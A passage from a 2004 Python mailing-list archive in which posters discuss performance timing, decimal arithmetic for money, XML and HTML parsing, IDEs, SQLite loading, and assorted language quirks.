expectations ARE tricky when performance is concerned, measurements are
a good idea.

> 
> For loops reversed() remains the solution of choice, even if memory
> consumption is not a problem:
> 
> $ python2.4 timeit.py "r=range(1000)" "for i in reversed(r): pass"
> 10000 loops, best of 3: 87.2 usec per loop
> $ python2.4 timeit.py "r=range(1000)" "for i in r[::-1]: pass"
> 10000 loops, best of 3: 99.7 usec per loop

An important distinction indeed.  Thanks!


Alex


From fumanchu at amor.org  Fri Sep 24 21:52:38 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 24 Sep 2004 18:52:38 -0700
Subject: Why not FP for Money?
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net>

Jeff Shannon wrote:
> Carlos Ribeiro wrote:
> 
> >A last note: unless dictated by context otherwise, I think 
> that adding
> >two fixed point numbers should round/truncate to the smallest number
> >of decimal places, as in:
> >
> >12.34d + 10.001d --> 32.34
> >  
> >
> 
> Personally,  I think that it makes the most sense (i.e., will 
> result in 
> the fewest surprises) if the greatest possible number of places is 
> preserved.  If you truncate decimal places, then you might get this:
> 
>     x = 1.1d
>     for _ in range(5):
>         x += 0.02d
>     print x              ----> 1.1d
> 
> Each addition of 0.02 to 1.1 yields 1.12, which is truncated back to 
> 1.1, which leaves us in the same place that integer division did.  I 
> think it's pretty clear that this *should* produce 1.2.  In 
> order to do 
> that, you need to preserve the largest number of decimal places.

That would certainly keep Decimal objects from becoming the default
number type in Python 3.0. But if a suffixed "d" is retained, it becomes
Yet Another Thing To Learn, not unlike the current surprises with
floating-point.

The "end-user" would have to be more explicit in order to achieve the
desired behavior:
    x = 1.10d	# Notice the trailing 0
    for _ in range(5):
        x += 0.02d
    print x              ----> 1.20d

In the case of using Decimals as a Money type, this wouldn't be much of
a burden on any society with a decimalized currency (IMO); it's standard
practice to write the trailing zero.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From rkern at ucsd.edu  Wed Sep  1 01:20:58 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Tue, 31 Aug 2004 22:20:58 -0700
Subject: XML documentation stinks - help?
In-Reply-To: <ch3jgu$bgj@odbk17.prod.google.com>
References: <ch3jgu$bgj@odbk17.prod.google.com>
Message-ID: <ch3m8f$nuh$1@news1.ucsd.edu>

Simon John wrote:

> No, that's the docs I'm talking about, it's awful IMO.

[Referring to the Python/XML HOWTO]

Okay, tell us specifically how to make it better. What information do 
you think it ought to contain?

> So far I've found a little bit of info on the xml.parsers.expat module,
> and got the following working the way Perl does, but it seems to create
> blank elements due to whitespace!
> 
> And it seems the expat module has been deprecated in favour of SAX?

To my knowledge, the recommended way to do this kind of processing is to 
use SAX in an object-oriented fashion. If you were looking for an 
example in this style, you probably won't find one because it's not 
recommended. In my opinion, it's pretty clear that classes (as used in 
SAX) make this kind of parsing task much more manageable.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From eribla at bellsouth.net  Mon Sep 20 05:44:11 2004
From: eribla at bellsouth.net (Erik Blas)
Date: 20 Sep 2004 02:44:11 -0700
Subject: trying to right a dps parser
Message-ID: <fbc6a754.0409200144.314a4bec@posting.google.com>

Hello everyone,

Basically what I'm trying to do is write an app that will read the
lines from a text file, parse through each lean with a regex (if there
is a better way please point me) for a time stamp/the words YOU|YOUR/
the words hit|hits/ the words miss|misses and finally an integer value
of varied character length, then do a calculation for dps (damage per
second: damage / seconds).

I guess the best way to explain would be to show you an example:
01:32:54 ] You start fighting.
01:32:54 ] Your target is too far! Move closer!
01:32:55 ] Bob hits a thingy for 6 points of crushing damage.
01:32:55 ] YOU hit a thingy for 8 points of slashing damage.
01:32:56 ] a thingy tries to crush Elipha, but misses.
01:32:57 ] Bob hits a thingy for 9 points of crushing damage.
01:32:57 ] YOUR Kick hits a thingy for 12 points of crushing damage.
01:32:57 ] YOU hit a thingy for 8 points of slashing damage.
01:32:58 ] You stop fighting.

I'd like for the app to start calculating from the point it sees the
string "You start fighing." and stop when it sees "You stop fighting."
.

The big things I need help with are:
1. the best way to get the time stamps so that the seconds could be
totaled (the time stamps come off the system so they won't start at
*:*:00 unless one is lucky when they start fighting :) ).

2. the best way to get the start and end strings like I stated above.

3. to keep it simple for now, just getting damage numbers from times
that YOU or YOUR strings show you've landed an attack. getting misses
is important to to show to keep the clock running i think to get an
accurate dps number.

That's all I can think of right now...my head is fried from trying to
come up with alot of this on my own. So far I've managed to get a nice
working regex to pull the time stamps:
  (\d{2}):(\d{2}):(\d{2})     # let me know about this if there would
be a better way for what i want please :)

I'm still in the process of learning python and loving every minute of
it. Big thanks to the author of Dive into Python, I love that book! I
figured a project like this would be a good way to learn with its
complexity not being way to much. I also plan to extend this app later
with a gui using wxpython aswell as have it print dps numbers real
time during game play, but for now it's enough to get it to open the
log file/compute the dps/and print it to the screan. The game that
will be providing the log files is a windows game only atm though :/ .
Thank you in advanced for any help and advice you can provide.

- Erik


From csgcsg39 at hotmail.com  Thu Sep  9 05:10:32 2004
From: csgcsg39 at hotmail.com (C Gillespie)
Date: Thu, 9 Sep 2004 10:10:32 +0100
Subject: xpath and python
Message-ID: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>

Dear All,

Does anyone know if there is a python library that accepts xpath constructs?

Thanks for any help

Colin




From benn at cenix-bioscience.com  Wed Sep 15 04:04:29 2004
From: benn at cenix-bioscience.com (Neil Benn)
Date: Wed, 15 Sep 2004 10:04:29 +0200
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <7LudnZweyKXOoNrcRVn-sw@adelphia.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>	<656g254o.fsf@python.net>
	<7LudnZweyKXOoNrcRVn-sw@adelphia.com>
Message-ID: <4147F78D.3030609@cenix-bioscience.com>

Rob McCrea wrote:

> Thomas Heller wrote:
>
>> Carlos Ribeiro <carribeiro at gmail.com> writes:
>>
>>> I'm frustrated. My search for a good IDE to support my activities --
>>
>>
<snip>
Hello,

          This is just a small suggestion but one tool that you could 
look at is jedit (http://www.jedit.org) - it often gets overlooked 
because as it's written in java python people sometimes think it for 
Jython only - not true my erstwhile friends!  It has a python plug-in 
and can do highlighting, project management, feed the dog and more.  It 
doesn't have a GUI designer but I understand you don't need that?

    Another IDE I use is Eclipse, I only use this for Java editing but I 
heard somewhere that it has a Python plugin - eclipse is way more 
complicated than jedit but if you learn how to use it there are 
significant productivity gains (at least with Java!).

Cheers,

Neil

-- 

Neil Benn
Senior Automation Engineer
Cenix BioScience
BioInnovations Zentrum
Tatzberg 47
D-01307
Dresden
Germany

Tel : +49 (0)351 4173 154
e-mail : benn at cenix-bioscience.com
Cenix Website : http://www.cenix-bioscience.com



From missive at frontiernet.net  Sat Sep  4 08:36:01 2004
From: missive at frontiernet.net (Lee Harr)
Date: Sat, 04 Sep 2004 12:36:01 GMT
Subject: POST with basic auth and cookie from python?
References: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu>
	<6f402501.0409040212.4da65570@posting.google.com>
Message-ID: <slrncjjdlh.f6.missive@homer.localdomain>

On 2004-09-04, Michael Foord <fuzzyman at gmail.com> wrote:
> Dan Stromberg <strombrg at dcs.nac.uci.edu> wrote in message news:<pan.2004.09.03.20.30.52.790127 at dcs.nac.uci.edu>...
>> If I wanted to write a python script that performs basic auth, gets a
>> cookie, and then does an http POST using the cookie for authentication,
>> what would be the best python API to write to?
>> 
>> Does someone already have example code that does something like this?
>> 

> Oh - if anyone can help on this it would be great !! What the heck is
> a realm and how do they work !!
>
>


Not sure if this helps ...
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197



From aleaxit at yahoo.com  Mon Sep 13 05:09:08 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 11:09:08 +0200
Subject: read all available pages on a Website
References: <ci2qnl$2jq$1@solaris.cc.vt.edu>
	<pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com>
	<2ql2m9F10da10U1@uni-berlin.de>
Message-ID: <1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com>

Leif K-Brooks <eurleif at ecritters.biz> wrote:

> Tim Roberts wrote:
> > Brad Tilley <bradtilley at usa.net> wrote:
> > 
> >>Is there a way to make urllib or urllib2 read all of the pages on a Web
> >>site?
> > By the way, there are many web sites for which this sort of behavior is not
> > welcome.
> 
> Any site that didn't want to be crawled would most likely use a 
> robots.txt file, so you could check that before doing the crawl.

Python's Tools/webchecker/ directory has just the code you need for all
of this.  The directory is part of the Python source distribution, but
it's all pure Python code, so, if your distribution is binary and omits
that directory, just download the Python source distribution, unpack it,
and there you are.


Alex


From firstname at lastname.pr1v.n0  Mon Sep  6 03:28:06 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Mon, 6 Sep 2004 09:28:06 +0200
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<41376B82.C6A202FC@yahoo.com> <kg08hc.bgc1.ln@via.reistad.priv.no>
	<41386155$0$19713$61fed72c@news.rcn.com>
Message-ID: <6i3hhc.mtv2.ln@via.reistad.priv.no>

In article <41386155$0$19713$61fed72c at news.rcn.com>,
 <jmfbahciv at aol.com> wrote:
>In article <kg08hc.bgc1.ln at via.reistad.priv.no>,
>   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>>In article <41376B82.C6A202FC at yahoo.com>,
>>CBFalconer  <cbfalconer at worldnet.att.net> wrote:
>>>Peter Hansen wrote:
>>>> Brian {Hamilton Kelly} wrote:
>>>>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:

>>ISTR there was some tunnel NASA had to relate to if they wanted
>>to move the goods from production to launch. But that may have been
>>earlier products. 
>>
>>But rail tunnels are also descended from the same asses, so to speak. 
>
>There was a city getting restored in Turkey that JMF and I visited;
>I cannot remember its name other than it's in the New Testament
>written by Paul.  It was one of most fascinating places I'd ever
>been other than aquariums and zoos.  There are ruts in the
>stone-block pavements caused by running carts to/from harbor/city.
>We were told that these ruts were worn down by usage.  I always
>wanted to get a big stone and spend 5 min/day rubbing it to see
>if the claim was true.

Just visit my old gymnasium (aka "High School", but that loses part
of the concept). 320 pupils entering and leaving 14-18 times a day
wears down asphalt in 2 years, sandstone in 10 and granite in 100. 

-- mrr


From roy at panix.com  Sat Sep 11 12:06:03 2004
From: roy at panix.com (Roy Smith)
Date: Sat, 11 Sep 2004 12:06:03 -0400
Subject: little problem with list.reverse() function
References: <LRE0d.236333$OR2.10714605@news3.tin.it>
Message-ID: <roy-0CF1CD.12060311092004@reader1.panix.com>

In article <LRE0d.236333$OR2.10714605 at news3.tin.it>,
 manuel <manuelbastioniNOSPAM at tin.it> wrote:

>  >>> a = [[1,2],[2,3],[4,5]]
>  >>> print a
> [[1, 2], [2, 3], [4, 5]]
>  >>> print a.reverse()
> None
>  >>>
> 
> 
> 
> ???
> Thanks...

The reverse() method of lists reverses the list in-place, and returns 
None on purpose.  Almost everybody finds this surprising when they 
discover it for the first time.  Many people (myself included) consider 
it a design flaw.  But, it is an intentional design decision, not a bug.


From aleaxit at yahoo.com  Thu Sep  9 06:48:54 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 12:48:54 +0200
Subject: FW: Set and {} comparison confusion
References: <mailman.3082.1094720703.5135.python-list@python.org>
Message-ID: <1gjuj6f.1940ps0iimqq9N%aleaxit@yahoo.com>

Roman Yakovenko <roman.yakovenko at actimize.com> wrote:
   ...
> classes have __eq__, __ne__. Classes are mutable - I can't define 
> __hash__ function. __lt__ - I can implement but it will be meaningless.

As long as it respects the fundamental semantics constraints such as:
    a < b and b < c   imply   a < c
    a < b implies not (a == b)
    a < b implies (a != b)
    not (a < a) for any a
and so on, your __lt__will not be 'meaningless' but very useful.

Basically, __lt__ is meaningful if it's transitive, non-reflective, and
compatible with your == and != (which I assume are compatible with each
other); a transitive non-reflective < defines implicitly an equivalence
relation, a eqv b <--> not (a < b or b < a), and you need your == to
express exactly that equivalence relation... so if your == is
meaningful, your < can't really be 'meaningless'!-)

> Thank you for help. I think I have a dicision:
> 1. I will implement meaningless __lt__
> 2. I will sort ( I don't have duplicated items ) every time I need to compare
> 2.1 Because sort is happen in place next time it will take less time to sort.

Yes, that does seem to make sense to me.  Once two lists without
duplicates are sorted, they're equal as sets iff they're == as lists;
and yes, maintaining sorted order is typically quite cheap in Python due
to Tim Peters' powerful natural mergesort algorithm as implemented
inside list.sort (though it might be worth having a look at the bisect
module, it's likely going to be faster to just sort the lists each
time).


> Again - Thanks for help. It was very usefull. It seems that I had wrong
expectation
> from set - " unordered set collection based only on comparison operators".
> My mistake. 

Ah, isn't set documented to need hashable elements?  It should be.  Of
course, _why_ your class appears to be hashable when it defines __eq__
and not __hash__ I dunno -- Python should diagnose that, but it does't
appear to...


Alex


From python at rcn.com  Thu Sep  9 11:44:44 2004
From: python at rcn.com (Raymond Hettinger)
Date: 9 Sep 2004 08:44:44 -0700
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<5d83790c.0409081810.613e44af@posting.google.com>
	<1gjuaww.xljr4bbmtlk9N%aleaxit@yahoo.com>
Message-ID: <5d83790c.0409090744.66eb2fa0@posting.google.com>

> def isorted(seq):
>     a = list(seq)
>     heapify(a)
>     while a: yield heappop(a)

Very nice.

I had actually meant to use a "while 1" in which case the try/except
makes more sense.  Going one step further and localizing the heappop()
call, you get:

def isorted(seq):
    a = list(seq)
    heapify(a)
    pop = heappop
    try:
        while 1:
            yield pop(a)
    except IndexError:
        pass

For clarity and conciseness, Alex's version wins easily.  For running
speed, dis.dis() shows how the second has a simpler, more efficient
inner loop:

[Alex's compact version]
        >>   25 LOAD_FAST                1 (a)
             28 JUMP_IF_FALSE           14 (to 45)
             31 POP_TOP             
             32 LOAD_GLOBAL              4 (heappop)
             35 LOAD_FAST                1 (a)
             38 CALL_FUNCTION            1
             41 YIELD_VALUE         
             42 JUMP_ABSOLUTE           25

[try/except version with localized call]
  7     >>   34 LOAD_FAST                2 (pop)
             37 LOAD_FAST                1 (a)
             40 CALL_FUNCTION            1
             43 YIELD_VALUE         
             44 JUMP_ABSOLUTE           34


Raymond Hettinger


From michele.petrazzo at TOGLIunipex.it  Thu Sep 30 03:00:13 2004
From: michele.petrazzo at TOGLIunipex.it (Michele Petrazzo)
Date: Thu, 30 Sep 2004 09:00:13 +0200
Subject: odbc error
In-Reply-To: <wVx6d.255765$4o.114520@fed1read01>
References: <cje8bg$t9m$1@lacerta.tiscalinet.it>
	<wVx6d.255765$4o.114520@fed1read01>
Message-ID: <cjgav7$97i$1@lacerta.tiscalinet.it>

Steve Holden wrote:
> Michele Petrazzo wrote:
> 
>> I'm using odbc on win95 and I have an incomprehensible error after a 
>> query:
>>
>> INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "")
>>
>> table test and fields f1,f2,f3 exists :) and I can write to this table.
>>
>> The error is :
>> [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2.
>>
>> What can I do?
>>
> The easiest thing to do is use correct syntax, which should put single 
> quotes around string literals. The ODBC drivers tend to use standard SQL 
> syntax even when the underlying database is a bit more liberal. Try
> 
> INSERT INTO test VALUES (f1,f2,f3) VALUES ('t1', 't2', '')
> 
> and see if that works.
> 
> regards
>  Steve

It work !!!!
Thanks very much.

Michele Petrazzo


From jeff at ccvcorp.com  Wed Sep 29 14:07:39 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 29 Sep 2004 11:07:39 -0700
Subject: repeat something in a thread, but stop when the program stops
In-Reply-To: <Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116>
References: <5db4fffa.0409270551.57a96cda@posting.google.com>
	<mailman.3969.1096301203.5135.python-list@python.org>
	<Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116>
	<mailman.4020.1096389667.5135.python-list@python.org>
	<Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116>
Message-ID: <10llubobcoij397@corp.supernews.com>

Harald Massa wrote:

>My impression from reading dispatcher-code was more in the area of:
>
>a=get_message_from_windows()
>
>if a==waaaah_they_clicked_on_me:
>   give_it_to_them_REAL_hard()
>elif a==they_hover_over_me:
>   do_some_hover_action()
>
>with "get_message_from_windows()" silently and cycle-free blocking until 
>windows decides to distribute a message. Something like a blocking 
>socket, which makes a program wait.
>  
>

Essentially true, but Windows sends a lot more messages than most people 
realize, even to "dormant" apps sitting in the system tray.  Even if you 
code your own windowproc and handle a bunch of messages yourself, the 
vast majority of Windows messages get passed on to DefWindowProc() 
(provided by Windows). 

Of course, the point is that in practice, it hardly matters.  On any 
reasonably recent PC, handling a few hundred messages every second is 
trivial.  (As long as the message handlers don't access "slow" 
resources, at least...)

Jeff Shannon
Technician/Programmer
Credit International



From tzot at sil-tec.gr  Wed Sep 22 10:51:30 2004
From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou)
Date: Wed, 22 Sep 2004 17:51:30 +0300
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
Message-ID: <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>

On 21 Sep 2004 17:11:22 -0700, rumours say that danb_83 at yahoo.com (Dan
Bishop) might have written:

>But what about countries like Japan and (even more so) Turkey where
>the currency units are so small that you never use fractions of them? 
>Do programmers there talk less about floating-point error?

This used to be the case in Greece too; however, there was and still is
VAT (amount * 0.08 or 0.18), discounts, distribution of a "gross"[1]
discount ("your invoice is over 200000 drachmae, so I'll give you a
20000 drs discount") over the items of an invoice (and the "gross"
discount should equal the sum of qty*discount_per_item) etc.

So you still have floating point errors...

[1] don't know the english term, could be 'monetary discount', not a
percentage
-- 
TZOTZIOY, I speak England very best,
"Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek


From gerrit.muller at embeddedsystems.nl  Fri Sep 17 02:15:10 2004
From: gerrit.muller at embeddedsystems.nl (Gerrit Muller)
Date: Fri, 17 Sep 2004 08:15:10 +0200
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <mailman.3417.1095373610.5135.python-list@python.org>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<mailman.3417.1095373610.5135.python-list@python.org>
Message-ID: <cidvde$jr9$1@news.tue.nl>

Carlos Ribeiro wrote:
<...snip...>
> possibly a long way ahead until some standard finally materializes.
> --
> [1] What did I mean with "a different approach"? non-standart
> interfaces, lack of naming conventions, different ways to bind to or
> handle external events, etc.The integration depends on more factors
> than the basic class hierarchy -- the actual usage of the classes (how
> they are instantiated, bound together, etc.) must be similar enough to
> make integration possible. As it is now, it'is possible to have two
> wxPython apps programmed in such a way that integration between them
> difficult or even impossible, due to this factor.
> 
Actually you mean expensive in terms of effort. The mismatch between the 
architectures of both applications causes a lot of adaptations and 
integration effort. See: "From Legacy to State-of-the-art; Architectural 
Refactoring." (especially page 7)
<http://www.extra.research.philips.com/natlab/sysarch/ArchitecturalRefactoringPaper.pdf>

If you want to build bigger systems with cooperating applications then 
you will have to work also on the architecture of the total system: a 
minimal set of rules and conventions to enable this integration. I do 
fully agree that most designers underestimate the costs of integration. 
Often the class hierarchy or similar "structure" rules are seen as the 
architecture. However you need a set of other views to enable this 
integration, among them the choice of integrating concepts, see page 10 
of "Light Weight Architectures; The way of the future?" 
<http://www.extra.research.philips.com/natlab/sysarch/LightWeightArchitectingPaper.pdf>

kind regards, Gerrit
-- 
Gaudi systems architecting:
<http://www.extra.research.philips.com/natlab/sysarch/>



From bugbee at seanet.com  Fri Sep 10 05:07:59 2004
From: bugbee at seanet.com (Larry Bugbee)
Date: Fri, 10 Sep 2004 02:07:59 -0700
Subject: Question: tools for business apps development
In-Reply-To: <2qb2tmFt7dgdU2@uni-berlin.de>
References: <mailman.2847.1094238878.5135.python-list@python.org>	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>	<864d370904090606465938fea5@mail.gmail.com>	<mailman.2980.1094568177.5135.python-list@python.org>	<Xns955F1AEE4BA29JanC@213.118.38.197>	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>	<mailman.3067.1094698639.5135.python-list@python.org>	<2qavr3Ft7dgdU1@uni-berlin.de>
	<mailman.3092.1094733220.5135.python-list@python.org>
	<2qb2tmFt7dgdU2@uni-berlin.de>
Message-ID: <10k2rng56uh2f64@corp.supernews.com>

>> -- It's too glitzy :-) Yes, it may be a problem for people used to
>> design apps the old way. It's funny to note that Windows apps are not
>> much different from old text apps, as far as the structure of the
>> dialogs and windows is concerned. Everything is a rectangle. Flash
>> frees you of this kind of limitation. This kind of freedom can be
>> frightening for old timers (such as me).
> 
> 
> :) By any measure, I'm an old-timer as well. 

FWIW, I have removed Flash as have some other folks I know.  The reason 
is because we do not multi-task and cannot read the page with all the 
flashing and movement.  ...removed because there is no option to disable 
(yes, there are now a couple of Firefox extensions).

Just because there may be a large percentage of browsers with Flash, 
there is still a large number (raw count) that don't and won't.

If a rich client is what you are after, consider XUL in conjunction with 
css, javascript and your favorite language.  A web site can serve XUL, 
the XUL can be distributed as a browser extension, or the XUL can be 
packaged as a double clickable app.  It is a whole heck richer than HTML 
without the unintended side-effect annoyances caused by Flash.
   http://xulplanet.com/tutorials/whyxul.html
   http://www.mozilla.org/projects/xul/

Oh, I too have silver hair.  :-)

Larry



From steven.bethard at gmail.com  Wed Sep 29 14:32:56 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 29 Sep 2004 18:32:56 +0000 (UTC)
Subject: interactive help on string functions - howto
References: <415aede9$0$24598$ba620e4c@news.skynet.be>
	<415AF37B.9080101@bellsouth.net>
Message-ID: <loom.20040929T203034-466@post.gmane.org>

Jeremy Jones <zanesdad <at> bellsouth.net> writes:
> Make sure you've imported string.

No need to import string, you can use the builtin str:

>>> help(str.rstrip)
Help on method_descriptor:

rstrip(...)
    S.rstrip([chars]) -> string or unicode
    
    Return a copy of the string S with trailing whitespace removed.
    If chars is given and not None, remove characters in chars instead.
    If chars is unicode, S will be converted to unicode before stripping

>>> help(str.ljust)
Help on method_descriptor:

ljust(...)
    S.ljust(width[, fillchar]) -> string
    
    Return S left justified in a string of length width. Padding is
    done using the specified fill character (default is a space).


Steve



From srumbalski at copper.net  Mon Sep 27 22:08:56 2004
From: srumbalski at copper.net (Steven Rumbalski)
Date: Mon, 27 Sep 2004 22:08:56 -0400
Subject: New to Python
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>
	<mailman.3722.1095866933.5135.python-list@python.org>
Message-ID: <4158c606_4@newsfeed.slurp.net>

Erik Heneryd wrote:

> Delaney, Timothy C (Timothy) wrote:

>> 
>> http://www.catb.org/~esr/faqs/smart-questions.html
>> 
>> As far as anyone could see, you didn't do even the most basic debugging.
>> 
>> Tim Delaney
> 
> Haven't followed the thread, but...
> 
> I can't help to crack a smile every time I see that URL.  I doubt it
> ever helped anyone, still it comes up now and then, typically when
> people get tired of answering stupid questions from lazy newbies.
> 
> So, how likely is it that people too lazy to RTFM/STFW will even
> consider some 10 000 word article (on *asking questions*, not whatever
> their problem might be)?  Not very, I say.  Most will probably not even
> get past the *table of contents*.  Funny thing is that people don't seem
> to realize this - that's it's just another way to say "STFU and RTFM,
> newbie".

I for one will say that ESR's article helped me about 5 or 6 years ago when
I was just getting involved in newsgroups.  I internalized much of his
advice and have therefore actually rarely posted questions.

--Steven Rumbalski


From anders.eriksson at morateknikutveckling.se  Thu Sep 23 02:42:08 2004
From: anders.eriksson at morateknikutveckling.se (Anders Eriksson)
Date: Thu, 23 Sep 2004 08:42:08 +0200
Subject: Parsing HTML
Message-ID: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>

Hello!

I want to extract some info from a some specific HTML pages, Microsofts
International Word list (e.g.
http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I
want to take all the words, both English and the other language and create
a dictionary. so that I can look up About and get Om as the answer.

How is the best way to do this?

Please help!

// Anders


From thorsten at thorstenkampe.de  Wed Sep 15 10:27:24 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Wed, 15 Sep 2004 16:27:24 +0200
Subject: Slow loading of large in-memory tables
References: <mailman.2952.1094534093.5135.python-list@python.org>
Message-ID: <87efiy28n8yc$.dlg@thorstenkampe.de>

* Philipp K. Janert, Ph.D. (2004-09-07 07:14 +0200)
> I am trying to load a relatively large table (about 1 Million
> rows) into an sqlite table, which is kept in memory. The
> load process is very slow - on the order of 15 minutes or
> so.
> 
> I am accessing sqlite from Python, using the pysqlite driver.
> I am loading all records first using cx.execute( "insert ..." ).
> Only once I have run cx.execute() for all records, I commit all 
> the preceding inserts with conn.commit()
> 
> I have tried using cx.executemany(), but if anything, this
> makes the process slower.
> 
> I have not tried mucking manually with transactions.
> I have sufficiently convinced myself that the slow part
> is in fact the cx.execute() - not reading the data from file
> or anything else.
> 
> Are there ways to make this process faster? 

According to [1]:

pragma temp_store    = memory;
# or any bigger value ('2000' is the default)
pragma cache_size    = 4000;
pragma count_changes = off;
pragma synchronous   = off;

Also SQLite makes a commit after every SQL statement (not only those
that alter the database)[2]. Therefor you have to manually start a
transaction before the first SQL statement and manually commit after
the last statement. You have to turn the integrated pysqlite
committing off to be able to do this:

connection = sqlite.connect(database,
                            autocommit = 1)
 
> Also, I want to keep the DB in memory, since I use it later
> to run a very DB-intensive simulation against it. However,
> this implies that I need to load the DB from the same python
> program which will later run the simulation - I think.

Yes.

Thorsten

[1] http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html
[2] http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html#transactions


From FBatista at uniFON.com.ar  Thu Sep 23 09:05:52 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 23 Sep 2004 10:05:52 -0300
Subject: Why not FP for Money?
Message-ID: <A128D751272CD411BC9200508BC2194D053C79B8@escpl.tcp.com.ar>

[John Roth]

#- > Or a currency type, specifically.
#- 
#- Well, this was discussed and rejected - see the discussion
#- on the decimal floating point PEP. I disagree with the
#- rejection. [Shrug.]

No, it wasn't rejected. Just postponed.

As I wrote in the PEP:

    I wanted a Money data type, and after proposing a pre-PEP in
    comp.lang.python, the community agreed to have a numeric data type
    with the needed arithmetic behaviour, and then build Money over
    it: all the considerations about quantity of digits after the
    decimal point, rounding, etc., will be handled through Money. It
    is not the purpose of this PEP to have a data type that can be
    used as Money without further effort.

Maybe someday I'll put to work again in a Money or Currency data type (which
name do you prefer?), which, for example, keeps the decimal digits in 'n'
(2, 3, 5, configurable) rounding at each operation, and gets printed like
"$1,236.36", or "1236,36EU$" or something (depending on locale settings,
overradeable with a context), and etc, and etc.

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/345919d2/attachment.html>

From BrenBarn at aol.com  Thu Sep  9 14:45:37 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 9 Sep 2004 18:45:37 GMT
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
Message-ID: <Xns955F779C04101OKB@130.133.1.4>

Pierre Fortin wrote:

> Attempting to specify a field width via '*' to a mapping fails....
> 
>>>> "%(two)*d" % (mapping,6)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: format requires a mapping
>>>> "%(two)-*d" % (6,mapping)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: format requires a mapping

    	I don't think this has anything to do with the * thing.  You can't 
mix the sequence and mapping forms of %.  For instance, this also fails

>>> m = {'one': 1, 'two': 2}
>>> "%(two)d %d" % (m, 6)

Traceback (most recent call last):
  File "<pyshell#8>", line 1, in -toplevel-
    "%(two)d %d" % (m, 6)
TypeError: format requires a mapping

    	The error message is telling you the truth: you're passing the % 
operator a tuple, but your format string has a "%(two)" in it, which 
means it requires not a tuple but a mapping.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From noname at nodomain.com  Sun Sep  5 06:49:31 2004
From: noname at nodomain.com (Fidel Viegas)
Date: Sun, 05 Sep 2004 11:49:31 +0100
Subject: python from Java
In-Reply-To: <mailman.2887.1094353612.5135.python-list@python.org>
References: <mailman.2887.1094353612.5135.python-list@python.org>
Message-ID: <cheqv1$ete$1@newsg4.svr.pol.co.uk>

Ajay wrote:

> hi!
> 
> can you call a Python application from a Java program? does this require
> any additional package to be installed?
> 

Have a look at jython (http://www.jython.org)

All the best

Fidel.



From hpenner at gmail.com  Fri Sep 10 12:04:18 2004
From: hpenner at gmail.com (Harry Penner)
Date: Fri, 10 Sep 2004 11:04:18 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <opsd4awqhupqzri1@mjolner.upc.no>
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<opsd4awqhupqzri1@mjolner.upc.no>
Message-ID: <822221bb040910090445f6ab6e@mail.gmail.com>

Please educate yourself on what the agenda *is*, before making
statements about it.

A detailed analysis of the Bush foreign policy agenda and its
